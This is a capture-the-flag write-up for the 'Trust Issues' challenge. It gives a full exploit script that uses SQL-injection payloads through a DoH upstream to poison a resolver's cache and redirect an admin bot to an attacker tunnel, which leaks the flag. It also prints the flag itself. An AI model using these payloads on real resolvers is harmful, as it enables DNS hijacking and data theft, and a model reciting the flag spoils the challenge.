Trust Issues
Challenge Overview
Name: Trust Issues
Author: thegreenmallard
Description: I made my own DNS resolver and I made sure I could trust it as much as my nameserver by using an even bigger elliptic curve. The admin bot visits trust-issues.tjc.tf by querying an instanced DNS resolver, and the resolver queries the nameserver to find the website IP address.
Flag format: tjctf{...}
Objective: Poison the resolver so the admin bot visits an attacker-controlled host with the flag in the query string.
Files Provided
- `trust-issues.zip`
- `dnsresolver/app.py`
- `dnsresolver/dnssec.py`
- `nameserver/app.py`
- `website/app.py`
- `website/templates/index.html`
- `admin-bot.js`
Solution Plan
1. Analyze the resolver and admin bot flow to understand how the bot obtains the website address.
2. Abuse SQL injection in the resolver cache insertion logic through DNS names returned by an upstream DoH resolver.
3. Insert forged cache entries for trust-issues.tjc.tf. so the resolver returns an attacker-controlled hostname, then submit the poisoned resolver URL to the admin bot.
Code (Exploit Script)
# Start a local HTTP server to receive the flag.
python3 -m flask --app exploit_server run --host 0.0.0.0 --port 5005
# Expose the local server.
cloudflared tunnel --url http://127.0.0.1:5005
# Poison the resolver cache using Google DoH via 8.8.8.8.
python3 - <<'PY'
import requests
import urllib.parse
resolver = "https://dnsresolver-d9ea45374ff05b99.tjc.tf/"
host = "facing-release-accept-cats.trycloudflare.com"
payloads = [
f"trust-issues.tjc.tf.',1,1,2e9,'{host}')--.github.io",
"trust-issues.tjc.tf.',48,1,2e9,CAST(X'32353620332031372041413d3d'AS/**/TEXT))--.github.io",
]
for i, payload in enumerate(payloads):
upstream = "https://8.8.8.8/resolve?" + urllib.parse.urlencode({
"name": payload,
"type": "A",
"do": "true",
})
r = requests.get(
resolver,
params={"name": f"inj{i}.example", "type": "A", "upstream": upstream},
timeout=30,
)
print(i, r.status_code, r.text)
r = requests.get(
resolver,
params={"name": "trust-issues.tjc.tf", "type": "A"},
timeout=30,
)
print(r.status_code, r.text)
PY
# Submit this URL to the admin bot:
# https://dnsresolver-d9ea45374ff05b99.tjc.tf/
Flag
tjctf{trust_n0_on3_ev3r}
Notes
The resolver used unsafe string formatting for SQLite queries and inserts. The upstream parameter allowed using https://8.8.8.8/resolve?... with attacker-controlled first query parameters, while the resolver appended its own parameters afterward. Google DoH returned DNS answers for the attacker-controlled github.io name, and the unescaped answer name was inserted into SQLite.
The forged A record changed trust-issues.tjc.tf. to the attacker-controlled tunnel hostname. The forged DNSKEY record used only a ZSK-style key. Because the resolver accepted DNSKEY sets with no KSK and skipped RRSIGs whose key tag did not match any cached key, validation incorrectly succeeded.